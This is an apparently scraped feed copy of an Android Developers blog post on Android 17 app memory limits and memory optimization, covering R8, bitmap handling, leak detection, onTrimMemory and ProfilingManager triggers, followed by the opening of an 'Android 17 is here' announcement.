        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
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<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
</div>
<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

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        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
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        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

